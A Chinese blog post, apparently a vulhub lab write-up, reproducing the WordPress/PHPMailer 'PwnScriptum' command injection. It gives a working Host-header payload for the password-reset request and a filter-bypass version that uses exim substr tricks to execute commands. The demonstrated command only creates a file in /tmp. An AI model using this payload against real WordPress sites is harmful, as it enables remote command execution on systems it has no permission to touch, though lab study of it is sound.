【vulhub】WordPress pwnscriptum漏洞复现

漏洞简介

phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload

影响版本

WordPress <= 4.6.0
PHPMailer < 5.2.18

复现环境

靶机kali: 192.168.23.134
kali作为靶机的同时也作为攻击机
具体操作不再详细赘述,启动vulhub,然后kali开启浏览器,详细抓包操作可参考简单了解cms,复现vulhub中的wordpress漏洞

漏洞复现

打开安装
在这里插入图片描述忘记密码
在这里插入图片描述开启浏览器抓包,后进行发送到burpsuite
在这里插入图片描述
抓到包之后发送到repeater重发器
在这里插入图片描述payload:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
# 大家可以自行替换执行代码这里不进行赘赘述(请大家在执行测试前谨慎执行)
#意思是在tmp处创建success文件

但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

最终payload为:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)

替换host请求字段
在这里插入图片描述send发送请求
验证:通过docker容器进入环境查看
输入docker ps -a,获取环境id
输入命令:docker exec it your_id /bin/bash进入容器命令环境
输入ls /tmp查看是否写入成功
在这里插入图片描述此时,可以看到文件写入成功,漏洞复现成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值